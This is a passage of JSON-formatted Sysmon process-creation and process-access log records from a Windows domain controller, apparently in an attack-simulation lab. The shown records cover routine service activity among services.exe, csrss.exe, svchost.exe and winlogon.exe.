\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"940","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.133\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041B90000}\r\nProcessId: 1140\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\System32\\svchost.exe -k termsvcs\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\NETWORK SERVICE\r\nLogonGuid: {90617006-3FD3-5F2D-0000-0020E4030000}\r\nLogonId: 0x3E4\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.133","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041B90000}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\System32\\svchost.exe -k termsvcs","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\NETWORK SERVICE","LogonGuid":"{90617006-3FD3-5F2D-0000-0020E4030000}","LogonId":"0x3e4","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 928\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"928","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1128\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1128","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 